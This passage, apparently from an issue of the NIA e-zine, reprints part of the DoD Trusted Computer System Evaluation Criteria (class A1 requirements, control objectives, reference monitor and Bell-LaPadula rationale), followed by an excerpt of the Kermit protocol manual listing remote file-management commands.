modification or unauthorized access or destruction an audit
trail of accesses to the objects it protects. The audit data
shall be protected by the TCB so that read access to it is
limited to those who are authorized for audit data. The TCB
shall be able to record the following types of events: use of
identification and authentication mechanisms, introduction of
objects into a user's address space (e.g., file open, program
initiation), deletion of objects, and actions taken by computer
operators and system administrators and/or system security
officers. The TCB shall also be able to audit any override of
human-readable output markings. For each recorded event, the
audit record shall identify: date and time of the event, user,
type of event, and success or failure of the event. For
identification/authentication events the origin of request
(e.g., terminal ID) shall be included in the audit record. For
events that introduce an object into a user's address space and
for object deletion events the audit record shall include the
name of the object and the object's security level. The ADP
system administrator shall be able to selectively audit the
actions of any one or more users based on individual identity
and/or object security level. The TCB shall be able to audit
the identified events that may be used in the exploitation of
covert storage channels. The TCB shall contain a mechanism
that is able to monitor the occurrence or accumulation of
security auditable events that may indicate an imminent
violation of security policy. This mechanism shall be able to
immediately notify the security administrator when thresholds
are exceeded.
4.1.3 ASSURANCE
4.1.3.1 Operational Assurance
4.1.3.1.1 System Architecture
The TCB shall maintain a domain for its own execution
that protects it from external interference or tampering
(e.g., by modification of its code or data structures).
The TCB shall maintain process isolation through the
provision of distinct address spaces under its control.
The TCB shall be internally structured into well-defined
largely independent modules. It shall make effective use
of available hardware to separate those elements that are
protection-critical from those that are not. The TCB
modules shall be designed such that the principle of
least privilege is enforced. Features in hardware, such
as segmentation, shall be used to support logically
distinct storage objects with separate attributes (namely:
readable, writeable). The user interface to the TCB
shall be completely defined and all elements of the TCB
identified. The TCB shall be designed and structured to
use a complete, conceptually simple protection mechanism
with precisely defined semantics. This mechanism shall
play a central role in enforcing the internal structuring
of the TCB and the system. The TCB shall incorporate
significant use of layering, abstraction and data hiding.
Significant system engineering shall be directed toward
minimizing the complexity of the TCB and excluding from
the TCB modules that are not protection-critical.
4.1.3.1.2 System Integrity
Hardware and/or software features shall be provided that
can be used to periodically validate the correct
operation of the on-site hardware and firmware elements
of the TCB.
4.1.3.1.3 Covert Channel Analysis
The system developer shall conduct a thorough search for
COVERT CHANNELS and make a determination (either by
actual measurement or by engineering estimation) of the
maximum bandwidth of each identified channel. (See the
Covert Channels Guideline section.) FORMAL METHODS SHALL
BE USED IN THE ANALYSIS.
4.1.3.1.4 Trusted Facility Management
The TCB shall support separate operator and administrator
functions. The functions performed in the role of a
security administrator shall be identified. The ADP
system administrative personnel shall only be able to
perform security administrator functions after taking a
distinct auditable action to assume the security
administrator role on the ADP system. Non-security
functions that can be performed in the security
administration role shall be limited strictly to those
essential to performing the security role effectively.
4.1.3.1.5 Trusted Recovery
Procedures and/or mechanisms shall be provided to assure
that, after an ADP system failure or other discontinuity,
recovery without a protection compromise is obtained.
4.1.3.2 Life-Cycle Assurance
4.1.3.2.1 Security Testing
The security mechanisms of the ADP system shall be tested
and found to work as claimed in the system documentation.
A team of individuals who thoroughly understand the
specific implementation of the TCB shall subject its
design documentation, source code, and object code to
thorough analysis and testing. Their objectives shall
be: to uncover all design and implementation flaws that
would permit a subject external to the TCB to read,
change, or delete data normally denied under the
mandatory or discretionary security policy enforced by
the TCB; as well as to assure that no subject (without
authorization to do so) is able to cause the TCB to enter
a state such that it is unable to respond to
communications initiated by other users. The TCB shall
be found resistant to penetration. All discovered flaws
shall be corrected and the TCB retested to demonstrate
that they have been eliminated and that new flaws have
not been introduced. Testing shall demonstrate that the
TCB implementation is consistent with the FORMAL top-
level specification. (See the Security Testing
Guidelines.) No design flaws and no more than a few
correctable implementation flaws may be found during
testing and there shall be reasonable confidence that few
remain. MANUAL OR OTHER MAPPING OF THE FTLS TO THE
SOURCE CODE MAY FORM A BASIS FOR PENETRATION TESTING.
4.1.3.2.2 Design Specification and Verification
A formal model of the security policy supported by the
TCB shall be maintained that is proven consistent with
its axioms. A descriptive top-level specification (DTLS)
of the TCB shall be maintained that completely and
accurately describes the TCB in terms of exceptions, error
messages, and effects. A FORMAL TOP-LEVEL SPECIFICATION
(FTLS) OF THE TCB SHALL BE MAINTAINED THAT ACCURATELY
DESCRIBES THE TCB IN TERMS OF EXCEPTIONS, ERROR MESSAGES,
AND EFFECTS. THE DTLS AND FTLS SHALL INCLUDE THOSE
COMPONENTS OF THE TCB THAT ARE IMPLEMENTED AS HARDWARE
AND/OR FIRMWARE IF THEIR PROPERTIES ARE VISIBLE AT THE
TCB INTERFACE. THE FTLS shall be shown to be an accurate
description of the TCB interface. A convincing argument
shall be given that the DTLS is consistent with the model
AND A COMBINATION OF FORMAL AND INFORMAL TECHNIQUES SHALL
BE USED TO SHOW THAT THE FTLS IS CONSISTENT WITH THE
MODEL. THIS VERIFICATION EVIDENCE SHALL BE CONSISTENT
WITH THAT PROVIDED WITHIN THE STATE-OF-THE-ART OF THE
PARTICULAR COMPUTER SECURITY CENTER-ENDORSED FORMAL
SPECIFICATION AND VERIFICATION SYSTEM USED. MANUAL OR
OTHER MAPPING OF THE FTLS TO THE TCB SOURCE CODE SHALL BE
PERFORMED TO PROVIDE EVIDENCE OF CORRECT IMPLEMENTATION.
4.1.3.2.3 Configuration Management
During THE ENTIRE LIFE-CYCLE, I.E., DURING THE DESIGN,
DEVELOPMENT, and maintenance of the TCB, a configuration
management system shall be in place FOR ALL SECURITY-
RELEVANT HARDWARE, FIRMWARE, AND SOFTWARE that maintains
control of changes to THE FORMAL MODEL, the descriptive
AND FORMAL top-level SPECIFICATIONS, other design data,
implementation documentation, source code, the running
version of the object code, and test fixtures and
documentation. The configuration management system shall
assure a consistent mapping among all documentation and
code associated with the current version of the TCB.
Tools shall be provided for generation of a new version
of the TCB from source code. Also available shall be
tools, MAINTAINED UNDER STRICT CONFIGURATION CONTROL, for
comparing a newly generated version with the previous TCB
version in order to ascertain that only the intended
changes have been made in the code that will actually be
used as the new version of the TCB. A COMBINATION OF
TECHNICAL, PHYSICAL, AND PROCEDURAL SAFEGUARDS SHALL BE
USED TO PROTECT FROM UNAUTHORIZED MODIFICATION OR
DESTRUCTION THE MASTER COPY OR COPIES OF ALL MATERIAL
USED TO GENERATE THE TCB.
4.1.3.2.4 Trusted Distribution
A TRUSTED ADP SYSTEM CONTROL AND DISTRIBUTION FACILITY
SHALL BE PROVIDED FOR MAINTAINING THE INTEGRITY OF THE
MAPPING BETWEEN THE MASTER DATA DESCRIBING THE CURRENT
VERSION OF THE TCB AND THE ON-SITE MASTER COPY OF THE
CODE FOR THE CURRENT VERSION. PROCEDURES (E.G., SITE
SECURITY ACCEPTANCE TESTING) SHALL EXIST FOR ASSURING
THAT THE TCB SOFTWARE, FIRMWARE, AND HARDWARE UPDATES
DISTRIBUTED TO A CUSTOMER ARE EXACTLY AS SPECIFIED BY
THE MASTER COPIES.
4.1.4 DOCUMENTATION
4.1.4.1 Security Features User's Guide
A single summary, chapter, or manual in user documentation
shall describe the protection mechanisms provided by the TCB,
guidelines on their use, and how they interact with one another.
4.1.4.2 Trusted Facility Manual
A manual addressed to the ADP system administrator shall
present cautions about functions and privileges that should be
controlled when running a secure facility. The procedures for
examining and maintaining the audit files as well as the
detailed audit record structure for each type of audit event
shall be given. The manual shall describe the operator and
administrator functions related to security, to include
changing the security characteristics of a user. It shall
provide guidelines on the consistent and effective use of the
protection features of the system, how they interact, how to
securely generate a new TCB, and facility procedures, warnings,
and privileges that need to be controlled in order to operate
the facility in a secure manner. The TCB modules that contain
the reference validation mechanism shall be identified. The
procedures for secure generation of a new TCB from source after
modification of any modules in the TCB shall be described. It
shall include the procedures to ensure that the system is
initially started in a secure manner. Procedures shall also be
included to resume secure system operation after any lapse in
system operation.
4.1.4.3 Test Documentation
The system developer shall provide to the evaluators a document
that describes the test plan and results of the security
mechanisms' functional testing. It shall include results of
testing the effectiveness of the methods used to reduce covert
channel bandwidths. THE RESULTS OF THE MAPPING BETWEEN THE
FORMAL TOP-LEVEL SPECIFICATION AND THE TCB SOURCE CODE SHALL BE
GIVEN.
4.1.4.4 Design Documentation
Documentation shall be available that provides a description of
the manufacturer's philosophy of protection and an explanation
of how this philosophy is translated into the TCB. The
interfaces between the TCB modules shall be described. A
formal description of the security policy model enforced by the
TCB shall be available and proven that it is sufficient to
enforce the security policy. The specific TCB protection
mechanisms shall be identified and an explanation given to show
that they satisfy the model. The descriptive top-level
specification (DTLS) shall be shown to be an accurate
description of the TCB interface. Documentation shall describe
how the TCB implements the reference monitor concept and give
an explanation why it is tamperproof, cannot be bypassed, and
is correctly implemented. The TCB implementation (i.e., in
hardware, firmware, and software) shall be informally shown to
be consistent with the FORMAL TOP- LEVEL SPECIFICATION (FTLS).
The elements of the FTLS shall be shown, using informal
techniques, to correspond to the elements of the TCB.
Documentation shall describe how the TCB is structured to
facilitate testing and to enforce least privilege. This
documentation shall also present the results of the covert
channel analysis and the tradeoffs involved in restricting the
channels. All auditable events that may be used in the
exploitation of known covert storage channels shall be
identified. The bandwidths of known covert storage channels,
the use of which is not detectable by the auditing mechanisms,
shall be provided. (See the Covert Channel Guideline section.)
HARDWARE, FIRMWARE, AND SOFTWARE MECHANISMS NOT DEALT WITH IN
THE FTLS BUT STRICTLY INTERNAL TO THE TCB (E.G., MAPPING
REGISTERS, DIRECT MEMORY ACCESS I/O) SHALL BE CLEARLY DESCRIBED.
4.2 BEYOND CLASS (A1)
Most of the security enhancements envisioned for systems that will provide
features and assurance in addition to that already provided by class (Al)
systems are beyond current technology. The discussion below is intended to
guide future work and is derived from research and development activities
already underway in both the public and private sectors. As more and better
analysis techniques are developed, the requirements for these systems will
become more explicit. In the future, use of formal verification will be
extended to the source level and covert timing channels will be more fully
addressed. At this level the design environment will become important and
testing will be aided by analysis of the formal top-level specification.
Consideration will be given to the correctness of the tools used in TCB
development (e.g., compilers, assemblers, loaders) and to the correct
functioning of the hardware/firmware on which the TCB will run. Areas to be
addressed by systems beyond class (A1) include:
* System Architecture
A demonstration (formal or otherwise) must be given showing
that requirements of self-protection and completeness for
reference monitors have been implemented in the TCB.
* Security Testing
Although beyond the current state-of-the-art, it is
envisioned that some test-case generation will be done
automatically from the formal top-level specification or
formal lower-level specifications.
* Formal Specification and Verification
The TCB must be verified down to the source code level,
using formal verification methods where feasible. Formal
verification of the source code of the security-relevant
portions of an operating system has proven to be a difficult
task. Two important considerations are the choice of a
high-level language whose semantics can be fully and
formally expressed, and a careful mapping, through
successive stages, of the abstract formal design to a
formalization of the implementation in low-level
specifications. Experience has shown that only when the
lowest level specifications closely correspond to the actual
code can code proofs be successfully accomplished.
* Trusted Design Environment
The TCB must be designed in a trusted facility with only
trusted (cleared) personnel.
PART II:
5.0 CONTROL OBJECTIVES FOR TRUSTED COMPUTER SYSTEMS
The criteria are divided within each class into groups of requirements. These
groupings were developed to assure that three basic control objectives for
computer security are satisfied and not overlooked. These control objectives
deal with:
* Security Policy
* Accountability
* Assurance
This section provides a discussion of these general control objectives and
their implication in terms of designing trusted systems.
5.1 A Need for Consensus
A major goal of the DoD Computer Security Center is to encourage the Computer
Industry to develop trusted computer systems and products, making them widely
available in the commercial market place. Achievement of this goal will
require recognition and articulation by both the public and private sectors of
a need and demand for such products.
As described in the introduction to this document, efforts to define the
problems and develop solutions associated with processing nationally sensitive
information, as well as other sensitive data such as financial, medical, and
personnel information used by the National Security Establishment, have been
underway for a number of years. The criteria, as described in Part I,
represent the culmination of these efforts and describe basic requirements for
building trusted computer systems. To date, however, these systems have been
viewed by many as only satisfying National Security needs. As long as this
perception continues the consensus needed to motivate manufacture of trusted
systems will be lacking.
The purpose of this section is to describe, in some detail, the fundamental
control objectives that lay the foundations for requirements delineated in the
criteria. The goal is to explain the foundations so that those outside the
National Security Establishment can assess their universality and, by
extension, the universal applicability of the criteria requirements to
processing all types of sensitive applications whether they be for National
Security or the private sector.
5.2 Definition and Usefulness
The term "control objective" refers to a statement of intent with respect to
control over some aspect of an organization's resources, or processes, or
both. In terms of a computer system, control objectives provide a framework
for developing a strategy for fulfilling a set of security requirements for
any given system. Developed in response to generic vulnerabilities, such as
the need to manage and handle sensitive data in order to prevent compromise,
or the need to provide accountability in order to detect fraud, control
objectives have been identified as a useful method of expressing security
goals.[3]
Examples of control objectives include the three basic design requirements for
implementing the reference monitor concept discussed in Section 6. They are:
* The reference validation mechanism must be tamperproof.
* The reference validation mechanism must always be invoked.
* The reference validation mechanism must be small enough to be
subjected to analysis and tests, the completeness of which can
be assured.[1]
5.3 Criteria Control Objectives
The three basic control objectives of the criteria are concerned with security
policy, accountability, and assurance. The remainder of this section provides
a discussion of these basic requirements.
5.3.1 Security Policy
In the most general sense, computer security is concerned with
controlling the way in which a computer can be used, i.e.,
controlling how information processed by it can be accessed and
manipulated. However, at closer examination, computer security
can refer to a number of areas. Symptomatic of this, FIPS PUB 39,
Glossary For Computer Systems Security, does not have a unique
definition for computer security.[16] Instead there are eleven
separate definitions for security which include: ADP systems
security, administrative security, data security, etc. A common
thread running through these definitions is the word "protection."
Further declarations of protection requirements can be found in
DoD Directive 5200.28 which describes an acceptable level of
protection for classified data to be one that will "assure that
systems which process, store, or use classified data and produce
classified information will, with reasonable dependability,
prevent: a. Deliberate or inadvertent access to classified
material by unauthorized persons, and b. Unauthorized
manipulation of the computer and its associated peripheral
devices."[8]
In summary, protection requirements must be defined in terms of
the perceived threats, risks, and goals of an organization. This
is often stated in terms of a security policy. It has been
pointed out in the literature that it is external laws, rules,
regulations, etc. that establish what access to information is to
be permitted, independent of the use of a computer. In particular,
a given system can only be said to be secure with respect to its
enforcement of some specific policy.[30] Thus, the control
objective for security policy is:
SECURITY POLICY CONTROL OBJECTIVE
A STATEMENT OF INTENT WITH REGARD TO CONTROL OVER ACCESS TO AND
DISSEMINATION OF INFORMATION, TO BE KNOWN AS THE SECURITY POLICY,
MUST BE PRECISELY DEFINED AND IMPLEMENTED FOR EACH SYSTEM THAT IS
USED TO PROCESS SENSITIVE INFORMATION. THE SECURITY POLICY MUST
ACCURATELY REFLECT THE LAWS, REGULATIONS, AND GENERAL POLICIES
FROM WHICH IT IS DERIVED.
5.3.1.1 Mandatory Security Policy
Where a security policy is developed that is to be applied
to control of classified or other specifically designated
sensitive information, the policy must include detailed
rules on how to handle that information throughout its
life-cycle. These rules are a function of the various
sensitivity designations that the information can assume
and the various forms of access supported by the system.
Mandatory security refers to the enforcement of a set of
access control rules that constrains a subject's access to
information on the basis of a comparison of that
individual's clearance/authorization to the information,
the classification/sensitivity designation of the
information, and the form of access being mediated.
Mandatory policies either require or can be satisfied by
systems that can enforce a partial ordering of
designations, namely, the designations must form what is
mathematically known as a "lattice."[5]
A clear implication of the above is that the system must
assure that the designations associated with sensitive data
cannot be arbitrarily changed, since this could permit
individuals who lack the appropriate authorization to
access sensitive information. Also implied is the
requirement that the system control the flow of information
so that data cannot be stored with lower sensitivity
designations unless its "downgrading" has been authorized.
The control objective is:
MANDATORY SECURITY CONTROL OBJECTIVE
SECURITY POLICIES DEFINED FOR SYSTEMS THAT ARE USED TO
PROCESS CLASSIFIED OR OTHER SPECIFICALLY CATEGORIZED
SENSITIVE INFORMATION MUST INCLUDE PROVISIONS FOR THE
ENFORCEMENT OF MANDATORY ACCESS CONTROL RULES. THAT IS,
THEY MUST INCLUDE A SET OF RULES FOR CONTROLLING ACCESS
BASED DIRECTLY ON A COMPARISON OF THE INDIVIDUAL'S
CLEARANCE OR AUTHORIZATION FOR THE INFORMATION AND THE
CLASSIFICATION OR SENSITIVITY DESIGNATION OF THE
INFORMATION BEING SOUGHT, AND INDIRECTLY ON CONSIDERATIONS
OF PHYSICAL AND OTHER ENVIRONMENTAL FACTORS OF CONTROL.
THE MANDATORY ACCESS CONTROL RULES MUST ACCURATELY REFLECT
THE LAWS, REGULATIONS, AND GENERAL POLICIES FROM WHICH
THEY ARE DERIVED.
5.3.1.2 Discretionary Security Policy
Discretionary security is the principal type of access
control available in computer systems today. The basis of
this kind of security is that an individual user, or
program operating on his behalf, is allowed to specify
explicitly the types of access other users may have to
information under his control. Discretionary security
differs from mandatory security in that it implements an
access control policy on the basis of an individual's
need-to-know as opposed to mandatory controls which are
driven by the classification or sensitivity designation of
the information.
Discretionary controls are not a replacement for mandatory
controls. In an environment in which information is
classified (as in the DoD) discretionary security provides
for a finer granularity of control within the overall
constraints of the mandatory policy. Access to classified
information requires effective implementation of both types
of controls as precondition to granting that access. In
general, no person may have access to classified
information unless: (a) that person has been determined to
be trustworthy, i.e., granted a personnel security
clearance -- MANDATORY, and (b) access is necessary for the
performance of official duties, i.e., determined to have a
need-to-know -- DISCRETIONARY. In other words,
discretionary controls give individuals discretion to
decide on which of the permissible accesses will actually
be allowed to which users, consistent with overriding
mandatory policy restrictions. The control objective is:
DISCRETIONARY SECURITY CONTROL OBJECTIVE
SECURITY POLICIES DEFINED FOR SYSTEMS THAT ARE USED TO
PROCESS CLASSIFIED OR OTHER SENSITIVE INFORMATION MUST
INCLUDE PROVISIONS FOR THE ENFORCEMENT OF DISCRETIONARY
ACCESS CONTROL RULES. THAT IS, THEY MUST INCLUDE A
CONSISTENT SET OF RULES FOR CONTROLLING AND LIMITING ACCESS
BASED ON IDENTIFIED INDIVIDUALS WHO HAVE BEEN DETERMINED TO
HAVE A NEED-TO-KNOW FOR THE INFORMATION.
5.3.1.3 Marking
To implement a set of mechanisms that will put into effect
a mandatory security policy, it is necessary that the
system mark information with appropriate classification or
sensitivity labels and maintain these markings as the
information moves through the system. Once information is
unalterably and accurately marked, comparisons required by
the mandatory access control rules can be accurately and
consistently made. An additional benefit of having the
system maintain the classification or sensitivity label
internally is the ability to automatically generate
properly "labeled" output. The labels, if accurately and
integrally maintained by the system, remain accurate when
output from the system. The control objective is:
MARKING CONTROL OBJECTIVE
SYSTEMS THAT ARE DESIGNED TO ENFORCE A MANDATORY SECURITY
POLICY MUST STORE AND PRESERVE THE INTEGRITY OF
CLASSIFICATION OR OTHER SENSITIVITY LABELS FOR ALL
INFORMATION. LABELS EXPORTED FROM THE SYSTEM MUST BE
ACCURATE REPRESENTATIONS OF THE CORRESPONDING INTERNAL
SENSITIVITY LABELS BEING EXPORTED.
5.3.2 Accountability
The second basic control objective addresses one of the
fundamental principles of security, i.e., individual
accountability. Individual accountability is the key to securing
and controlling any system that processes information on behalf
of individuals or groups of individuals. A number of requirements
must be met in order to satisfy this objective.
The first requirement is for individual user identification.
Second, there is a need for authentication of the identification.
Identification is functionally dependent on authentication.
Without authentication, user identification has no credibility.
Without a credible identity, neither mandatory nor discretionary
security policies can be properly invoked because there is no
assurance that proper authorizations can be made.
The third requirement is for dependable audit capabilities. That
is, a trusted computer system must provide authorized personnel
with the ability to audit any action that can potentially cause
access to, generation of, or effect the release of classified or
sensitive information. The audit data will be selectively
acquired based on the auditing needs of a particular installation
and/or application. However, there must be sufficient granularity
in the audit data to support tracing the auditable events to a
specific individual who has taken the actions or on whose behalf
the actions were taken. The control objective is:
ACCOUNTABILITY CONTROL OBJECTIVE
SYSTEMS THAT ARE USED TO PROCESS OR HANDLE CLASSIFIED OR OTHER
SENSITIVE INFORMATION MUST ASSURE INDIVIDUAL ACCOUNTABILITY
WHENEVER EITHER A MANDATORY OR DISCRETIONARY SECURITY POLICY IS
INVOKED. FURTHERMORE, TO ASSURE ACCOUNTABILITY THE CAPABILITY
MUST EXIST FOR AN AUTHORIZED AND COMPETENT AGENT TO ACCESS AND
EVALUATE ACCOUNTABILITY INFORMATION BY A SECURE MEANS, WITHIN A
REASONABLE AMOUNT OF TIME, AND WITHOUT UNDUE DIFFICULTY.
5.3.3 Assurance
The third basic control objective is concerned with guaranteeing
or providing confidence that the security policy has been
implemented correctly and that the protection-relevant elements of
the system do, indeed, accurately mediate and enforce the intent
of that policy. By extension, assurance must include a guarantee
that the trusted portion of the system works only as intended. To
accomplish these objectives, two types of assurance are needed.
They are life-cycle assurance and operational assurance.
Life-cycle assurance refers to steps taken by an organization to
ensure that the system is designed, developed, and maintained
using formalized and rigorous controls and standards.[17]
Computer systems that process and store sensitive or classified
information depend on the hardware and software to protect that
information. It follows that the hardware and software themselves
must be protected against unauthorized changes that could cause
protection mechanisms to malfunction or be bypassed completely.
For this reason trusted computer systems must be carefully
evaluated and tested during the design and development phases and
reevaluated whenever changes are made that could affect the
integrity of the protection mechanisms. Only in this way can
confidence be provided that the hardware and software
interpretation of the security policy is maintained accurately
and without distortion.
While life-cycle assurance is concerned with procedures for
managing system design, development, and maintenance; operational
assurance focuses on features and system architecture used to
ensure that the security policy is uncircumventably enforced
during system operation. That is, the security policy must be
integrated into the hardware and software protection features of
the system. Examples of steps taken to provide this kind of
confidence include: methods for testing the operational hardware
and software for correct operation, isolation of protection-
critical code, and the use of hardware and software to provide
distinct domains. The control objective is:
ASSURANCE CONTROL OBJECTIVE
SYSTEMS THAT ARE USED TO PROCESS OR HANDLE CLASSIFIED OR OTHER
SENSITIVE INFORMATION MUST BE DESIGNED TO GUARANTEE CORRECT AND
ACCURATE INTERPRETATION OF THE SECURITY POLICY AND MUST NOT
DISTORT THE INTENT OF THAT POLICY. ASSURANCE MUST BE PROVIDED
THAT CORRECT IMPLEMENTATION AND OPERATION OF THE POLICY EXISTS
THROUGHOUT THE SYSTEM'S LIFE-CYCLE.
6.0 RATIONALE BEHIND THE EVALUATION CLASSES
6.1 The Reference Monitor Concept
In October of 1972, the Computer Security Technology Planning Study, conducted
by James P. Anderson & Co., produced a report for the Electronic Systems
Division (ESD) of the United States Air Force.[1] In that report, the concept
of "a reference monitor which enforces the authorized access relationships
between subjects and objects of a system" was introduced. The reference
monitor concept was found to be an essential element of any system that would
provide multilevel secure computing facilities and controls.
The Anderson report went on to define the reference validation mechanism as
"an implementation of the reference monitor concept . . . that validates
each reference to data or programs by any user (program) against a list of
authorized types of reference for that user." It then listed the three design
requirements that must be met by a reference validation mechanism:
a. The reference validation mechanism must be tamper proof.
b. The reference validation mechanism must always be invoked.
c. The reference validation mechanism must be small enough to be
subject to analysis and tests, the completeness of which can
be assured."[1]
Extensive peer review and continuing research and development activities have
sustained the validity of the Anderson Committee's findings. Early examples
of the reference validation mechanism were known as security kernels. The
Anderson Report described the security kernel as "that combination of hardware
and software which implements the reference monitor concept."[1] In this vein,
it will be noted that the security kernel must support the three reference
monitor requirements listed above.
6.2 A Formal Security Policy Model
Following the publication of the Anderson report, considerable research was
initiated into formal models of security policy requirements and of the
mechanisms that would implement and enforce those policy models as a security
kernel. Prominent among these efforts was the ESD-sponsored development of
the Bell and LaPadula model, an abstract formal treatment of DoD security
policy.[2] Using mathematics and set theory, the model precisely defines the
notion of secure state, fundamental modes of access, and the rules for
granting subjects specific modes of access to objects. Finally, a theorem is
proven to demonstrate that the rules are security-preserving operations, so
that the application of any sequence of the rules to a system that is in a
secure state will result in the system entering a new state that is also
secure. This theorem is known as the Basic Security Theorem.
The Bell and LaPadula model defines a relationship between clearances of
subjects and classifications of system objects, now referenced as the
"dominance relation." From this definition, accesses permitted between
subjects and objects are explicitly defined for the fundamental modes of
access, including read-only access, read/write access, and write-only access.
The model defines the Simple Security Condition to control granting a subject
read access to a specific object, and the *-Property (read "Star Property") to
control granting a subject write access to a specific object. Both the Simple
Security Condition and the *-Property include mandatory security provisions
based on the dominance relation between the clearance of the subject and the
classification of the object. The Discretionary Security Property is also
defined, and requires that a specific subject be authorized for the particular
mode of access required for the state transition. In its treatment of
subjects (processes acting on behalf of a user), the model distinguishes
between trusted subjects (i.e., not constrained within the model by the
*-Property) and untrusted subjects (those that are constrained by the
*-Property).
>From the Bell and LaPadula model there evolved a model of the method of proof
required to formally demonstrate that all arbitrary sequences of state
transitions are security-preserving. It was also shown that the *- Property
is sufficient to prevent the compromise of information by Trojan Horse
attacks.
6.3 The Trusted Computing Base
In order to encourage the widespread commercial availability of trusted
computer systems, these evaluation criteria have been designed to address
those systems in which a security kernel is specifically implemented as well
as those in which a security kernel has not been implemented. The latter case
includes those systems in which objective (c) is not fully supported because
of the size or complexity of the reference validation mechanism. For
convenience, these evaluation criteria use the term Trusted Computing Base to
refer to the reference validation mechanism, be it a security kernel,
front-end security filter, or the entire trusted computer system.
The heart of a trusted computer system is the Trusted Computing Base (TCB)
which contains all of the elements of the system responsible for supporting
the security policy and supporting the isolation of objects (code and data) on
which the protection is based. The bounds of the TCB equate to the "security
perimeter" referenced in some computer security literature. In the interest
of understandable and maintainable protection, a TCB should be as simple as
possible consistent with the functions it has to perform. Thus, the TCB
includes hardware, firmware, and software critical to protection and must be
designed and implemented such that system elements excluded from it need not
be trusted to maintain protection. Identification of the interface and
elements of the TCB along with their correct functionality therefore forms the
basis for evaluation.
For general-purpose systems, the TCB will include key elements of the
operating system and may include all of the operating system. For embedded
systems, the security policy may deal with objects in a way that is meaningful
at the application level rather than at the operating system level. Thus, the
protection policy may be enforced in the application software rather than in
the underlying operating system. The TCB will necessarily include all those
portions of the operating system and application software essential to the
support of the policy. Note that, as the amount of code in the TCB increases,
it becomes harder to be confident that the TCB enforces the reference monitor
requirements under all circumstances.
6.4 Assurance
The third reference monitor design objective is currently interpreted as
meaning that the TCB "must be of sufficiently simple organization and
complexity to be subjected to analysis and tests, the completeness of which
can be assured."
Clearly, as the perceived degree of risk increases (e.g., the range of
sensitivity of the system's protected data, along with the range of clearances
held by the system's user population) for a particular system's operational
application and environment, so also must the assurances be increased to
substantiate the degree of trust that will be placed in the system. The
hierarchy of requirements that are presented for the evaluation classes in the
trusted computer system evaluation criteria reflect the need for these
assurances.
As discussed in Section 5.3, the evaluation criteria uniformly require a
statement of the security policy that is enforced by each trusted computer
system. In addition, it is required that a convincing argument be presented
that explains why the TCB satisfies the first two design requirements for a
reference monitor. It is not expected that this argument will be entirely
formal. This argument is required for each candidate system in order to
satisfy the assurance control objective.
The systems to which security enforcement mechanisms have been added, rather
than built-in as fundamental design objectives, are not readily amenable to
extensive analysis since they lack the requisite conceptual simplicity of a
security kernel. This is because their TCB extends to cover much of the
entire system. Hence, their degree of trustworthiness can best be ascertained
only by obtaining test results. Since no test procedure for something as
complex as a computer system can be truly exhaustive, there is always the
possibility that a subsequent penetration attempt could succeed. It is for
this reason that such systems must fall into the lower evaluation classes.
On the other hand, those systems that are designed and engineered to support
the TCB concepts are more amenable to analysis and structured testing. Formal
methods can be used to analyze the correctness of their reference validation
mechanisms in enforcing the system's security policy. Other methods,
including less-formal arguments, can be used in order to substantiate claims
for the completeness of their access mediation and their degree of
tamper-resistance. More confidence can be placed in the results of this
analysis and in the thoroughness of the structured testing than can be placed
in the results for less methodically structured systems. For these reasons,
it appears reasonable to conclude that these systems could be used in
higher-risk environments. Successful implementations of such systems would be
placed in the higher evaluation classes.
6.5 The Classes
It is highly desirable that there be only a small number of overall evaluation
classes. Three major divisions have been identified in the evaluation
criteria with a fourth division reserved for those systems that have been
evaluated and found to offer unacceptable security protection. Within each
major evaluation division, it was found that "intermediate" classes of trusted
system design and development could meaningfully be defined. These
intermediate classes have been designated in the criteria because they
identify systems that:
* are viewed to offer significantly better protection and assurance
than would systems that satisfy the basic requirements for their
evaluation class; and
* there is reason to believe that systems in the intermediate
evaluation classes could eventually be evolved such that they
would satisfy the requirements for the next higher evaluation
class.
Except within division A it is not anticipated that additional "intermediate"
evaluation classes satisfying the two characteristics described above will be
identified.
Distinctions in terms of system architecture, security policy enforcement, and
evidence of credibility between evaluation classes have been defined such that
the "jump" between evaluation classes would require a considerable investment
of effort on the part of implementors. Correspondingly, there are expected to
be significant differentials of risk to which systems from the higher
evaluation classes will be exposed.
7.0 THE RELATIONSHIP BETWEEN POLICY AND THE CRITERIA
Section 1 presents fundamental computer security requirements and Section 5
presents the control objectives for Trusted Computer Systems. They are
general requirements, useful and necessary, for the development of all secure
systems. However, when designing systems that will be used to process
classified or other sensitive information, functional requirements for meeting
the Control Objectives become more specific. There is a large body of policy
laid down in the form of Regulations, Directives, Presidential Executive
Orders, and OMB Circulars that form the basis of the procedures for the
handling and processing of Federal information in general and classified
information specifically. This section presents pertinent excerpts from these
policy statements and discusses their relationship to the Control Objectives.
=============================================================================
/ /
/ File 03 / NIA070 /
/ KERMIT Protocol Manual 02 of 02 /
/ Malefactor Of Organized Crime /
/ Dedicated To: The Mentor /
/ /
[Editor's Note: For part 01 check in NIA069, and also there for the copyrights
and so-on.]
9.5. Commands Whose Object Should Be Specified
Some Kermit implementations include various local file management services and
commands to invoke them. For instance, an implementation might have commands
to let you get directory listings, delete files, switch disks, and inquire
about free disk space without having to exit and restart the program. In ad-
dition, remote servers may also provide such services. A user Kermit must be
able to distinguish between commands aimed at its own system and those aimed at
the remote one. When any confusion is possible, such a command may be prefixed
by one of the following "object prefixes":
REMOTE Ask the remote Kermit server to provide this service.
LOCAL Perform the service locally.
If the "object prefix" is omitted, the command should be executed locally. The
services include:
KERMIT Commands Page 50
LOGIN This should be used in its timesharing sense, to create an identity
("job", "session", "access", "account") on the system.
LOGOUT To terminate a session that was initiated by LOGIN.
COPY Make a new copy of the specified file with the specified name.
CWD Change Working Directory. This is ugly, but more natural verbs like
CONNECT and ATTACH are too imprecise. CWD is the ARPAnet file transfer
standard command to invoke this function.
DIRECTORY
Provide a list of the names, and possibly other attributes, of the
files in the current working directory (or the specified directory).
DELETE Delete the specified files.
ERASE This could be a synomym for DELETE, since its meaning is clear.
(It doesn't seem wise to include UNDELETE or UNERASE in the
standard list; most systems don't support such a function, and
users' expectations should not be toyed with...)
KERMIT Send a command to the remote KERMIT server in its own interactive com-
mand syntax.
RENAME Change the name of the specified file.
TYPE Display the contents of the specified file(s) at the terminal.
SPACE Tell how much space is used and available for storing files in the cur-
rent working directory (or the specified directory).
SUBMIT Submit the specified file(s) for background (batch) processing.
PRINT Print the specified file(s) on a printer.
MOUNT Request a mount of the specified tape, disk, or other removable storage
medium.
WHO Show who is logged in (e.g. to a timesharing system), or give infor-
mation about a specified user or network host.
MAIL Send electronic mail to the specified user(s).
